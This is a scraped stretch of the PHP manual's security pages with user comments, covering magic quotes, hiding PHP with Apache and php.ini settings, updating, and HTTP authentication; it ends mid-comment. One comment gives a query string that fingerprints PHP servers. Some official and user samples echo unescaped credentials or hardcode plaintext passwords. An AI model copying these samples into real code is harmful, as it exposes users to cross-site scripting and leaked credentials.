Let's hope magic_quotes soon goes to history together with safe_mode and similar "kind-of-security" (but in reality just a nuisance) inventions.
estoesunapija at hotmail dot com 15-Sep-2008 10:26
<?php

//One could use array_walk, altough i think it was fun
//and simple doing it this way.

 class oop {

      //toObject        : Transforms an array into an object filtering it
      //$source         : Array to transform
      //$currentLevel : See $maxLevels
      //$maxLevels   : Protect the system in case of lots of recursion
      //                     i.e. <input type="text" name="test[][]....[N]"

      public static function toObject($source=array(),$array=array(),$maxLevels=3,$currentLevel=0) {

         if ( !sizeof($source) || ($currentLevel > $maxLevels) ) return FALSE;

         $array   =  (sizeof($array)) ? $array : $source;
         $obj     =  new stdClass();

         foreach ($array as $k => $v){

            if (is_array($v)) {

               $obj->$k =  self::toObject($source,$v,$maxLevels,++$currentLevel);

               continue;

            }

            //Assign to the object $obj, the key and the value of the actual value of $source

            $obj->$k=$v;

         }

         return $obj;

      }

   }

   /* Eexamples

      $post    =  oop::toObject($_POST)   ;
      $get     =  oop::toObject($_GET)    ;
      $session =  oop::toObject($_SESSION);

      var_dump ($post)   ;
      var_dump ($get)    ;
      var_dump ($session);

   */

?>
sir dot steve dot h+php at gmail dot com 06-Dec-2007 08:45
I find it useful to define a simple utility function for magic quotes so the application functions as expected regardless of whether magic_quotes_gpc is on:

function strip_magic_slashes($str)
{
    return get_magic_quotes_gpc() ? stripslashes($str) : $str;
}

Which can be annoying to add the first time you reference every $_GET /$_POST/$_COOKIE variable, but it prevents you from demanding your users to change their configurations.
rjh at netcraft dot com 13-Jun-2007 02:50
Additionally, addslashes() is not a cure-all against SQL injection attacks. You should use your database's dedicated escape function (such as mysql_escape_string) or better yet, use parameterised queries through mysqli->prepare().
11-Feb-2006 01:47
It is also important to disable Magic Quotes while in development enivronment. For the reasons mentioned above, not everybody is using Magic Quotes.

An application that works fine with Magic Quotes enabled may have security problems (ie can be subject to SQL attacks) when distributed.
Why did we use Magic Quotes
Disabling Magic Quotes
Magic Quotes


Disabling Magic Quotes

The magic_quotes_gpc directive may only be disabled at the system level, and not at runtime. In otherwords, use of ini_set() is not an option.

Example #1 Disabling magic quotes server side

An example that sets the value of these directives to Off in php.ini. For additional details, read the manual section titled How to change configuration settings.

; Magic quotes
;

; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = Off

; Magic quotes for runtime-generated data, e.g. data from SQL, from exec(), etc.
magic_quotes_runtime = Off

; Use Sybase-style magic quotes (escape ' with '' instead of \').
magic_quotes_sybase = Off

If access to the server configuration is unavailable, use of .htaccess is also an option. For example:

php_flag magic_quotes_gpc Off

In the interest of writing portable code (code that works in any environment), like if setting at the server level is not possible, here's an example to disable magic_quotes_gpc at runtime. This method is inefficient so it's preferred to instead set the appropriate directives elsewhere.

Example #2 Disabling magic quotes at runtime

<?php
if (get_magic_quotes_gpc()) {
    $process = array(&$_GET, &$_POST, &$_COOKIE, &$_REQUEST);
    while (list($key, $val) = each($process)) {
        foreach ($val as $k => $v) {
            unset($process[$key][$k]);
            if (is_array($v)) {
                $process[$key][stripslashes($k)] = $v;
                $process[] = &$process[$key][stripslashes($k)];
            } else {
                $process[$key][stripslashes($k)] = stripslashes($v);
            }
        }
    }
    unset($process);
}
?>

User Contributed Notes

metala at metala dot org 21-Jun-2009 03:38
I have recently found out that magic quotes affects not only the values of the GPC arrays, but also the keys.

For now, my way to solve with the problem is:

<?php
if (get_magic_quotes_gpc()) {
    function magicQuotes_awStripslashes(&$value, $key) {$value = stripslashes($value);}
    $gpc = array(&$_GET, &$_POST, &$_COOKIE, &$_REQUEST);
    array_walk_recursive($gpc, 'magicQuotes_awStripslashes');
}
?>

Unfortunately it doesn't fix the keys... and cannot determinate if the slashes are already stripped.
booboogotu at gmail dot com 17-Jun-2009 03:46
A php5 way:

<?php
if (get_magic_quotes_gpc()) {
    function stripslashes_gpc(&$value)
    {
        $value = stripslashes($value);
    }
    array_walk_recursive($_GET, 'stripslashes_gpc');
    array_walk_recursive($_POST, 'stripslashes_gpc');
    array_walk_recursive($_COOKIE, 'stripslashes_gpc');
    array_walk_recursive($_REQUEST, 'stripslashes_gpc');
}
?>
stuart at horuskol dot co dot uk 25-Apr-2008 01:26
I have discovered that my host doesn't like either of the following directives in the .htaccess file:

php_flag magic_quotes_gpc Off
php_value magic_quotes_gpc Off

However, there is another way to disable this setting even if you don't have access to the server configuration - you can put a php.ini file in the directory where your scripts are with the directive:

magic_quotes_gpc = Off

However, these does not propogate unlike  .htaccess rules, so if you launch from a sub-directory, you need the php.ini file in each directory you have as script entry points.
17-Dec-2006 12:20
PHP's magic quotes function has the strange behavior of not adding slashes to top level keys in GPC key/value pairs but adding the slashes in deeper level keys. To demonstrate, a URI of:

example.php?a'b[c'd]=e'f
produces:
array("a'b" => array("c\'d" => "e\'f"))

The current example for removing magic quotes does not do anything to keys, so after running stripslashes_deep, you would end up with:
array("a'b" => array("c\'d" => "e'f"))

Which, needless to say, is wrong. As if you had magic quotes off, it would have been:
array("a'b" => array("c'd" => "e'f"))

I have written a snippet of code compatible with PHP 4.0.0 and above that handles this correctly:

if (get_magic_quotes_gpc()) {
    function undoMagicQuotes($array, $topLevel=true) {
        $newArray = array();
        foreach($array as $key => $value) {
            if (!$topLevel) {
                $key = stripslashes($key);
            }
            if (is_array($value)) {
                $newArray[$key] = undoMagicQuotes($value, false);
            }
            else {
                $newArray[$key] = stripslashes($value);
            }
        }
        return $newArray;
    }
    $_GET = undoMagicQuotes($_GET);
    $_POST = undoMagicQuotes($_POST);
    $_COOKIE = undoMagicQuotes($_COOKIE);
    $_REQUEST = undoMagicQuotes($_REQUEST);
}
sunrunner20 24-Nov-2006 07:10
If php_flag magic_quotes_gpc off does not work
Use php_value magic_quotes_gpc off
insteadin your .htaccess file
rdk 08-Sep-2006 11:44
The function parse_str() (http://us3.php.net/manual/en/function.parse-str.php) is also affected by magic_quotes_gpc, so if that function is called anywhere, stripslashes_deep won't be sufficient by itself.
dedlfix 20-Aug-2006 05:18
The function stripslashes_deep() ignores slashes in the keys

For example a query string like this: ?foo'bar=baz'bal

Output of var_dump($_GET) is:

array(1) {
  ["foo\'bar"]=>
  string(8) "baz\'bal"
}

after stripslashes_deep():

array(1) {
  ["foo\'bar"]=>
  string(7) "baz'bal"
}

If you want the keys to be stripslashed too, you have to unset() the addslahed key and to add a stripslashed version. But keep in mind that this will change the order of the array.
Why not to use Magic Quotes
Hiding PHP
Magic Quotes


Hiding PHP

In general, security by obscurity is one of the weakest forms of security. But in some cases, every little bit of extra security is desirable.

A few simple techniques can help to hide PHP, possibly slowing down an attacker who is attempting to discover weaknesses in your system. By setting expose_php to off in your php.ini file, you reduce the amount of information available to them.

Another tactic is to configure web servers such as apache to parse different filetypes through PHP, either with an .htaccess directive, or in the apache configuration file itself. You can then use misleading file extensions:

Example #1 Hiding PHP as another language

# Make PHP code look like other code types
AddType application/x-httpd-php .asp .py .pl
Or obscure it completely:

Example #2 Using unknown types for PHP extensions

# Make PHP code look like unknown types
AddType application/x-httpd-php .bop .foo .133t
Or hide it as HTML code, which has a slight performance hit because all HTML will be parsed through the PHP engine:

Example #3 Using HTML types for PHP extensions

# Make all PHP code look like HTML
AddType application/x-httpd-php .htm .html
For this to work effectively, you must rename your PHP files with the above extensions. While it is a form of security through obscurity, it's a minor preventative measure with few drawbacks.

User Contributed Notes

Ryan 30-Oct-2011 06:22
Another way to hide php is by removing the extension completely, like so:

Options +FollowSymlinks
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^(.+)$ /$1.php [L,QSA]

Hope this helps!
CD001 21-Jul-2010 09:03
It's a good idea to "hide" PHP anyway so you can write a RESTful web application.

Using Apache Mod Rewrite:

RewriteEngine On
RewriteRule ^control/([^/]+)/(.*)$ sitecontroller.php?control=$1&query=$2

You then use a function like the following as a way to retrieve data (in a zero indexed fashion) from the $_GET superglobal.

<?php
function myGET() {
  $aGet = array();

  if(isset($_GET['query'])) {
    $aGet = explode('/', $_GET['query']);
  }

  return $aGet;
}
?>

This is only a really basic example of course - you can do a lot with Mod Rewrite and a custom 'GET' function.
altan at javam dot org 18-Nov-2009 09:42
You can use this trick for non-direct used PHP files, eg. setting, class, ajax-related ones.

For abcde.php:

<?php
if ('abcde.php' == basename($_SERVER['SCRIPT_FILENAME'])) die ('What?');
?>
sandaimespaceman at gmail dot com 26-Oct-2008 04:51
Set INI directive "expose_php" to "off" will also help.
You can spoof your PHP to ASP.NET by using:
<?php
error_reporting(0);
header("X-Powered-By: ASP.NET");
?>
Pyornide 10-Oct-2008 05:57
The idea of hiding the X-Powered-By in PHP is a flawed attempt at establishing security. As the manual indicates, obscurity is not security. If I were exploiting a site, I wouldn't check what scripting language the site runs on, because all that would matter to me is exploiting it. Hiding the fact that you use [x] language isn't going to prevent me from bypassing poor security.
Raz 24-Sep-2007 03:07
May some servers not allow you to put this line (i.e this not work)

AddType application/x-httpd-php .asp .py .pl
or
DefaultType application/x-httpd-php

so, the alternative method that really a good one is:

1- In your .htaccess file write:

RewriteEngine  on
RewriteBase  /dire/ or just /
RewriteRule  securename   yourfile\.php  [T=application/x-httpd-php]

example: all url like
www.example.com/securename  parsed as
www.example.com/yourfile.php

2- but here the $_GET not work, but $_POST work, so for dynamic pages like
www.example.com/yourfile.php?page=1 you use
www.example.com/securename?page=1

now: instead of using $_GET use
<?php
$uri         = $_SERVER['REQUEST_URI'];
$page        = strstr($uri, '=');
$page        = substr($page, 1);
$valid_pages = array('1', '2','...');
$page        = in_array($page, $valid_pages) ? $page : '1';
//....
?>

and for bad URL you can add this code to .htaccess file
of coarse below the first code in .htaccess
#--
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^.*$ http://www.example.com/securename [L]
prrogers at gmail dot com 13-Sep-2007 08:50
The default session identifier-name PHPSESSID is publicly visible in an HTTP cookie and or URL if sessions are used. It can be changed in the php.ini to something more generic to further obscure PHP.
rustamabd at google mail 26-Jan-2007 12:05
So far I haven't seen a working rewriter of /foo/bar into /foo/bar.php, so I created my own. It does work in top-level directory AND subdirectories and it doesn't need hardcoding the RewriteBase.

.htaccess:

RewriteEngine on

# Rewrite /foo/bar to /foo/bar.php
RewriteRule ^([^.?]+)$ %{REQUEST_URI}.php [L]

# Return 404 if original request is /foo/bar.php
RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$"
RewriteRule .* - [L,R=404]

# NOTE! FOR APACHE ON WINDOWS: Add [NC] to RewriteCond like this:
# RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$" [NC]
simon at carbontwelevedesign dot co dot uk 10-Aug-2006 05:31
I use the following in the .htaccess document

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

then the following simple code

<?php

$permalinks = explode("/",$_SERVER['REQUEST_URI']);

$varone = $permalinks[1];
$vartwo = $permalinks[2];

...

?>
marpetr at NOSPAM dot gmail dot com 11-Apr-2006 05:18
I think the best way to hide PHP on Apache and Apache itself is this:

httpd.conf
-------------
# ...
# Minimize 'Server' header information
ServerTokens Prod
# Disable server signature on server generated pages
ServerSignature Off
# ...
# Set default file type to PHP
DefaultType application/x-httpd-php
# ...

php.ini
------------
; ...
expose_php = Off
; ...

Now the URLs will look like this:
http://my.server.com/forums/post?forumid=15

Now hacker knows only that you are using Apache.
eric at ericwing dot net 20-Jan-2006 09:20
Something that has not been mentioned here is also the PHPSESSION id that will be displayed in the URL when passing it from page to page using GET.  If users have cookies set to off, this will be visible. This can be reset before any session_start() call with ini_set(). Be aware however that this can't be changed in this way if you use autho session start.
user at pampelhuber dot invalid 18-Dec-2005 04:32
It is unnecessary, to let every Pampelhuber inspect your 'php.ini' files.
Put the following into the .htaccess of your htdocuments' root:

#Obscure 'php.ini' files (where they exist)
RedirectMatch 404 .*php\.ini$
jtw90210 30-Jun-2005 01:19
In order to get the PATH_INFO to work in order to pass parameters using a hidden program/trailing slash/"pretty url" in more recent versions of PHP you MUST add "AcceptPathInfo On" to your httpd.conf.

AddType application/x-httpd-php .php .html
AcceptPathInfo On

Try it out with your phpinfo page and you'll be able to search for PATH_INFO.

http://example.com/myphpinfo.php/showmetheway

If you want to drop the .php use one or both of these:
DefaultType application/x-httpd-php
ForceType application/x-httpd-php
25-May-2005 01:06
You could also do this in .htaccess when you use Apache and your configuration allows you to override :

<Files test>
    ForceType application/x-httpd-php
</Files>

That way, you can use the URL test?pop=true without having to fake it by using test/index.php.

See the Apache manual for more info: http://httpd.apache.org/docs/mod/mod_mime#forcetype
benjamin at sonntag dot fr 24-May-2005 09:14
In response to the previous messages, for apache, there is a easier way to set files without "." to be executed by PHP, just put this in a ".htaccess" file :

DefaultType  application/x-httpd-php
dimitar at bastun dot net 17-Jan-2005 09:13
In case there are an Internal Server error(error 500) using the old code below in an .htaccess file, you can replace it with the code modification that must solve the problem.

Old code
-----------

<Files ~ "^[^\.]+$">
       ForceType application/x-httpd-php
</Files>

Replacement of the code above(code modification)
------------------------------------------------------------

AddHandler server-parsed .php
<Files ~ "^[^\.]+$">
SetHandler application/x-httpd-php
</Files>

Regards,
Dimitar Tanev
Nikolai-Zujev-(at)-Gmail-dot-Com 22-Sep-2004 12:22
Assign files w/o extension to php interpreter
without using ReWrite module

[clip httpd.conf]

<Files ~ "^[^\.]+$">
        ForceType application/x-httpd-php
</Files>

[/clip]
php at vfmedia dot de 15-Jun-2004 06:21
I´ve found an easy way to hide php code and the uri is searchable by google and others...(only for unix or linux)

At first I have some rules in my hide.conf (i made an extra .conf for it (apache 2.0))

For example when I want to mask the index.php

<Files index>
 ForceType application/x-httpd-php
 </Files>

My problem is, that my code should be readable...

so I made an extra folder for example srv/www/htdocs/static_output

My phpcode is in the includefolder....(for ex. mnt/source/index.php)

Then I made a link in the shell  > ln mnt/source/index.php srv/www/htdocs/static_output/index

So the code is readable (with .php extension) in my includefolder and there is only the link in the srv folder without extension(which is called by the browser...).
12-May-2004 08:20
Keep in mind, if your really freaked out over hiding PHP, GD will expose you.

Go ahead - make an image with GD and open with a text editor.. Somewhere in there you'll see a comment with gd & php all over it.
php at user dot net 10-Apr-2004 06:36
What about this in a .htaccess file :

RewriteEngine on
RewriteRule    ^$    /index.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)/$    /$1/index.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)\.(html|htm)$    /$1.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)$    /$1.php    [L]

Typing "sub.domain.foo/anything" loads "/anything/index.php" if 'anything' is a directory, else it loads "/anything.php".

I'm sure you can find mutch better, but it works great on my site :)
mmj 14-Mar-2004 05:58
You can see if somebody's using PHP just by adding the following to the end of the URL:
?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
If the page is using PHP, this will show the PHP credits.

Setting expose_php to Off in php.ini prevents this.
ldemailly at qualysNOSPAM dot com 27-Oct-2003 08:17
adding MultiViews to your apache Options config
lets you hide/omit .php in the url without any rewriting, etc...
l0rdphi1 at liquefyr dot com 21-Jul-2003 04:02
More fun includes files without file extensions.

Simply add that ForceType application/x-httpd-php bit to an Apache .htaccess and you're set.

Oh yea, it gets even better when you play with stuff like the following:

<?php
substr($_SERVER['PATH_INFO'],1);
?>

e.g. www.example.com/somepage/55

And:

<?php
foreach ( explode('/',$_SERVER['PATH_INFO']) as $pair ) {
    list($key,$value) = split('=',$pair,2);
    $param[$key] = stripslashes($value);
}
?>

e.g. www.example.com/somepage/param1=value1/param2=value2/etc=etc

Enjoy =)
Bryce Nesbitt at Obviously.COM 27-Mar-2003 08:24
Using the .php extension for all your scripts is not necessary, and in fact can be harmful (by exposing too much information about your server, and by limiting what you can do in the future without breaking links). There are several ways to hide your .php script extension:

(1) Don't hard code file types at all.  Don't specify any dots, and most web servers will automatically find your .php, .html, .pdf, .gif or other matching file. This is called canonical URL format:
     www.xxxxxx.com/page
    www.xxxxxx.com/directory/
This gives you great flexibility to change your mind in the future, and prevents Windows browsers from making improper assumptions about the file type.

(2) In an Apache .htaccess file use:
    RewriteEngine on
    RewriteRule page.html page.php

(3) Force the webserver to interpret ALL .html files as .php:
    AddType application/x-httpd-php .php3 .php .html
bminton at efn dot org 27-Feb-2003 12:05
Another technique is to have every file be named index.php and be in it's own directory.  Then instead of using for instance http://example.com/foo.php you could use http://example.com/foo/ where foo is a directory with a file called index.php in it.
29-Jan-2003 10:53
PS. If you want to use pretty URLs (i.e. hide your .php extensions) AND you have safe-mode=on, the previous example (ForceType) won't work for you.  The problem is that safe-mode forces Apache to honor trailing characters in a requested URL.  This means that:

http://www.example.com/home

would still be processed by the home script in our doc root, but for:

http://www.example.com/home/contact_us.html

apache would actually look for the /home/contact_us.html file in our doc root.

The best solution I've found is to set up a virtual host (which I do for everything, even the default doc root) and override the trailing characters handling within the virtual host.  So, for a virtual host listening on port 8080, the apache directives would look like this:

<VirtualHost *:8080>
    DocumentRoot /web/doc_root
    Alias /home "/web/doc_root/home.php"
    AcceptPathInfo On
</VirtualHost>

Some people might question why we are overriding the trailing characters handling (with the AcceptPathInfo directive) instead of just turning safe-mode=off.  The reason is that safe mode sets global limitations on the entire server, which can then be turned on or left off for each specific virtual host.  This is the equivilent of blocking all connections on a firewall, and then opening up only the ones you want, which is a lot safer than leaving everything open globally, and assuming your programmers will never overlook a possible security hole.
Azureash 27-Jan-2003 04:34
Another way to hide your .php extensions is to use the Apache ForceType directive (which is often referred to as pretty URLs.)  Basically you force Apache to parse a file as PHP that matches the trailing directory name in your URL.

For example, place this directive in your Apache httpd.conf file:
<Location /home>
     ForceType application/x-httpd-php
</Location>

and create a php file name "home" in your doc root.  This file should not have a .php extension, and can be a php template file.  Combined with a function to strip out URL parameters, this can create a new templating system, which can effectively hide your file extensions.

In this example,
http://www.example.com/home/bar.html

would actually use the home script we created, and then the "bar.html" could be used to specify content to include.
Kevin Vincent 23-Jan-2003 05:43
Just a thought but if you have changed the extensions that php interprets I would assume you've also changed header.php and footer.php files to the new extension.

EG:

index.php, somefile.php, header.php, footer.php...

Change the Apache directive so PHP interprets .kev files and rename your files:

index.kev, somefile.kev, header.kev, footer.kev

If you leave header and footer as PHP files then it won't understand how to interpret them.
sth at panix dot com 04-Aug-2002 12:45
The flipside to this is, if you're running a version of
PHP/Apache which is not known to have exploitable bugs (usually the latest stable version at the time), and an attacker sees this, they may give up before even trying. If they don't, they may continue to attempt their exploit(s).

It really depends on the type of attacker. The educated, security advisory reading attacker vs. script kiddie on the street.

If you're keeping up on patches, version exposition should not be a problem for you.
m1tk4 at hotmail dot com 22-Jul-2002 05:53
I usually do:

<code>
RewriteEngine on<br>
RewriteOptions inherit<br>
RewriteRule (.*)\.htm[l]?(.*) $1.php$2 [nocase]<br>
</code>

in .htaccess. You'll need mod_rewrite installed for this .
yasuo_ohgaki at yahoo dot com 26-Jan-2002 03:59
To hide PHP, you need following php.ini settings

expose_php=Off
display_errors=Off

and in httpd.conf

ServerSignature Off
(min works, but I prefer off)
istvan dot takacsNOSPAM at hungax dot com 30-Dec-2001 09:42
And use the
ServerTokens min
directive in your httpd.conf to hide installed PHP modules in apache.
Disabling Magic Quotes
Keeping Current
Security


Keeping Current

PHP, like any other large system, is under constant scrutiny and improvement. Each new version will often include both major and minor changes to enhance security and repair any flaws, configuration mishaps, and other issues that will affect the overall security and stability of your system.

Like other system-level scripting languages and programs, the best approach is to update often, and maintain awareness of the latest versions and their changes.

User Contributed Notes

Mike R 08-Jan-2008 02:13
Here are some good white hat sites:

sla.ckers.org
www.0x000000.com
ha.ckers.org
www.gnucitizen.org
www.owasp.org
www.cert.org
www.sans.org
www.securityfocus.com

What's a white-hat site?  It's a site run by security professionals, such as various federal governments, with honorable intentions.  They should be required reading.
Tapani Talvitie 22-Jul-2006 03:29
> Users might also like to use the latest features in PHP5,
> but the host may still be using PHP4.
>
> Hosts might also be running with register_globals on. As
> reported elsewhere in the comments on this site, when
> some hosts turned it off, they got several emails about
> broken scripts. So the hosts simply turned register_globals
> back on.

> The only solutions, besides pestering the web host to
> upgrade, are to change to a different, more modern
> host, or consider renting a virtual server where you can
> set up PHP yourself.

Another solution could be that the web hosting firms would run a new (virtual) server when a new major PHP version is released. The new server would have all security related settings turned on. This way new customers would automatically get the new features and old ones could ask to be moved. All clients would be informed about the possibility to update, so that the not-so-active web masters could start their slow transition process in the following months.

There is of course a downside in this solution too: web hosting firms would need to maintain several PHP version. One way to solve this would be to limit available php versions to two. If for example the host has php4 and php5 servers and then php6 is released, php4 users would be forced to move to the newer version. A major php releases come out once or twice in the year(?) That would give 1-2 years for the slow web masters to adjust ;-)
me at jonheather dot com 10-Oct-2005 05:52
Agreed, but if they are a decent and respectable web hosting company, they would update PHP regularly and most surely do so if asked.
Chris Hester 08-Sep-2005 02:49
The problem lies in everyday web hosting firms which often seem to employ old versions of PHP. The user is therefore stuck. They may also be at risk as security patches won't be present. Users might also like to use the latest features in PHP5, but the host may still be using PHP4.

Hosts might also be running with register_globals on. As reported elsewhere in the comments on this site, when some hosts turned it off, they got several emails about broken scripts. So the hosts simply turned register_globals back on.

The only solutions, besides pestering the web host to upgrade, are to change to a different, more modern host, or consider renting a virtual server where you can set up PHP yourself. Of course this is likely to be more expensive and so not suitable for the average person. It just seems a shame to be stuck using older versions of PHP which are less secure than the latest one.
Hiding PHP
Features
Security


Features

  • HTTP authentication with PHP
  • Cookies
  • Sessions
  • Dealing with XForms
  • Handling file uploads
    • POST method uploads
    • Error Messages Explained
    • Common Pitfalls
    • Uploading multiple files
    • PUT method support
  • Using remote files
  • Connection handling
  • Persistent Database Connections
  • Safe Mode
    • Security and Safe Mode
    • Functions restricted/disabled by safe mode
  • Command line usage — Using PHP from the command line
    • Introduction
    • Differences to other SAPIs
    • Options — Command line options
    • Usage — Executing PHP files
    • I/O streams — Input/output streams
    • Interactive shell
    • Built-in web server
  • Garbage Collection
    • Reference Counting Basics
    • Collecting Cycles
    • Performance Considerations

User Contributed Notes

yohgaki at hotmail dot com 14-Apr-2001 02:48
PHP manages freeing all resources. Users does not required to free file handle resource, database resources, memory, etc, unless programmer need to free resource during script execution.
(All resources are released after script execution)

PHP4 also have reference count feature. For example, memory for variables is shared when it assigned to other variable. If contents has been changed, PHP4 allocate new memory for it.

For example, programmer does not have to use pass by reference for large parameters for better performance with PHP4.

It would be a nice section for new PHP users, if there is "Resource Handling" section or like. Explanation about reference count feature in PHP4 would be very helpful to write better PHP4 scripts also.
Keeping Current
HTTP authentication with PHP


HTTP authentication with PHP

It is possible to use the header() function to send an "Authentication Required" message to the client browser causing it to pop up a Username/Password input window. Once the user has filled in a username and a password, the URL containing the PHP script will be called again with the predefined variables PHP_AUTH_USER, PHP_AUTH_PW, and AUTH_TYPE set to the user name, password and authentication type respectively. These predefined variables are found in the $_SERVER and $HTTP_SERVER_VARS arrays. Both "Basic" and "Digest" (since PHP 5.1.0) authentication methods are supported. See the header() function for more information.

Note: PHP Version Note

Superglobals, such as $_SERVER, became available in PHP » 4.1.0.

An example script fragment which would force client authentication on a page is as follows:

Example #1 Basic HTTP Authentication example

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header('WWW-Authenticate: Basic realm="My Realm"');
    header('HTTP/1.0 401 Unauthorized');
    echo 'Text to send if user hits Cancel button';
    exit;
} else {
    echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
    echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
}
?>

Example #2 Digest HTTP Authentication example

This example shows you how to implement a simple Digest HTTP authentication script. For more information read the » RFC 2617.

<?php
$realm = 'Restricted area';

//user => password
$users = array('admin' => 'mypass', 'guest' => 'guest');

if (empty($_SERVER['PHP_AUTH_DIGEST'])) {
    header('HTTP/1.1 401 Unauthorized');
    header('WWW-Authenticate: Digest realm="'.$realm.
           '",qop="auth",nonce="'.uniqid().'",opaque="'.md5($realm).'"');

    die('Text to send if user hits Cancel button');
}

// analyze the PHP_AUTH_DIGEST variable
if (!($data = http_digest_parse($_SERVER['PHP_AUTH_DIGEST'])) ||
    !isset($users[$data['username']]))
    die('Wrong Credentials!');

// generate the valid response
$A1 = md5($data['username'] . ':' . $realm . ':' . $users[$data['username']]);
$A2 = md5($_SERVER['REQUEST_METHOD'].':'.$data['uri']);
$valid_response = md5($A1.':'.$data['nonce'].':'.$data['nc'].':'.$data['cnonce'].':'.$data['qop'].':'.$A2);

if ($data['response'] != $valid_response)
    die('Wrong Credentials!');

// ok, valid username & password
echo 'You are logged in as: ' . $data['username'];

// function to parse the http auth header
function http_digest_parse($txt)
{
    // protect against missing data
    $needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
    $data = array();
    $keys = implode('|', array_keys($needed_parts));

    preg_match_all('@(' . $keys . ')=(?:([\'"])([^\2]+?)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

    foreach ($matches as $m) {
        $data[$m[1]] = $m[3] ? $m[3] : $m[4];
        unset($needed_parts[$m[1]]);
    }

    return $needed_parts ? false : $data;
}
?>

Note: Compatibility Note

Please be careful when coding the HTTP header lines. In order to guarantee maximum compatibility with all clients, the keyword "Basic" should be written with an uppercase "B", the realm string must be enclosed in double (not single) quotes, and exactly one space should precede the 401 code in the HTTP/1.0 401 header line. Authentication parameters have to be comma-separated as seen in the digest example above.

Instead of simply printing out PHP_AUTH_USER and PHP_AUTH_PW, as done in the above example, you may want to check the username and password for validity. Perhaps by sending a query to a database, or by looking up the user in a dbm file.

Watch out for buggy Internet Explorer browsers out there. They seem very picky about the order of the headers. Sending the WWW-Authenticate header before the HTTP/1.0 401 header seems to do the trick for now.

As of PHP 4.3.0, in order to prevent someone from writing a script which reveals the password for a page that was authenticated through a traditional external mechanism, the PHP_AUTH variables will not be set if external authentication is enabled for that particular page and safe mode is enabled. Regardless, REMOTE_USER can be used to identify the externally-authenticated user. So, you can use $_SERVER['REMOTE_USER'].

Note: Configuration Note

PHP uses the presence of an AuthType directive to determine whether external authentication is in effect.

Note, however, that the above does not prevent someone who controls a non-authenticated URL from stealing passwords from authenticated URLs on the same server.

Both Netscape Navigator and Internet Explorer will clear the local browser window's authentication cache for the realm upon receiving a server response of 401. This can effectively "log out" a user, forcing them to re-enter their username and password. Some people use this to "time out" logins, or provide a "log-out" button.

Example #3 HTTP Authentication example forcing a new name/password

<?php
function authenticate() {
    header('WWW-Authenticate: Basic realm="Test Authentication System"');
    header('HTTP/1.0 401 Unauthorized');
    echo "You must enter a valid login ID and password to access this resource\n";
    exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) ||
    ($_POST['SeenBefore'] == 1 && $_POST['OldAuth'] == $_SERVER['PHP_AUTH_USER'])) {
    authenticate();
} else {
    echo "<p>Welcome: " . htmlspecialchars($_SERVER['PHP_AUTH_USER']) . "<br />";
    echo "Old: " . htmlspecialchars($_REQUEST['OldAuth']);
    echo "<form action='' method='post'>\n";
    echo "<input type='hidden' name='SeenBefore' value='1' />\n";
    echo "<input type='hidden' name='OldAuth' value=\"" . htmlspecialchars($_SERVER['PHP_AUTH_USER']) . "\" />\n";
    echo "<input type='submit' value='Re Authenticate' />\n";
    echo "</form></p>\n";
}
?>

This behavior is not required by the HTTP Basic authentication standard, so you should never depend on this. Testing with Lynx has shown that Lynx does not clear the authentication credentials with a 401 server response, so pressing back and then forward again will open the resource as long as the credential requirements haven't changed. The user can press the '_' key to clear their authentication information, however.

Also note that until PHP 4.3.3, HTTP Authentication did not work using Microsoft's IIS server with the CGI version of PHP due to a limitation of IIS. In order to get it to work in PHP 4.3.3+, you must edit your IIS configuration "Directory Security". Click on "Edit" and only check "Anonymous Access", all other fields should be left unchecked.

Another limitation is if you're using the IIS module (ISAPI) and PHP 4, you may not use the PHP_AUTH_* variables but instead, the variable HTTP_AUTHORIZATION is available. For example, consider the following code: list($user, $pw) = explode(':', base64_decode(substr($_SERVER['HTTP_AUTHORIZATION'], 6)));

Note: IIS Note:
For HTTP Authentication to work with IIS, the PHP directive cgi.rfc2616_headers must be set to 0 (the default value).

Note:

If safe mode is enabled, the uid of the script is added to the realm part of the WWW-Authenticate header.

User Contributed Notes

h3ndrik 24-Oct-2011 05:32
On my configuration with php-cgi - after setting the RewriteRule - the correct variable would be: $_SERVER['REDIRECT_HTTP_AUTHORIZATION']

So the workaround for PhpCGI is:
Set in your .htaccess:

RewriteEngine on
RewriteRule .* - [env=HTTP_AUTHORIZATION:%{HTTP:Authorization},last]

Php workaround:
<?php
//set http auth headers for apache+php-cgi work around
if (isset($_SERVER['HTTP_AUTHORIZATION']) && preg_match('/Basic\s+(.*)$/i', $_SERVER['HTTP_AUTHORIZATION'], $matches)) {
    list($name, $password) = explode(':', base64_decode($matches[1]));
    $_SERVER['PHP_AUTH_USER'] = strip_tags($name);
    $_SERVER['PHP_AUTH_PW'] = strip_tags($password);
}

//set http auth headers for apache+php-cgi work around if variable gets renamed by apache
if (isset($_SERVER['REDIRECT_HTTP_AUTHORIZATION']) && preg_match('/Basic\s+(.*)$/i', $_SERVER['REDIRECT_HTTP_AUTHORIZATION'], $matches)) {
    list($name, $password) = explode(':', base64_decode($matches[1]));
    $_SERVER['PHP_AUTH_USER'] = strip_tags($name);
    $_SERVER['PHP_AUTH_PW'] = strip_tags($password);
}
?>
luismontreal at gmail dot com 12-Aug-2011 02:10
Using sessions like this makes the enter auth values at each request

<?php
if($_SESSION['http_logged'] != 1) {
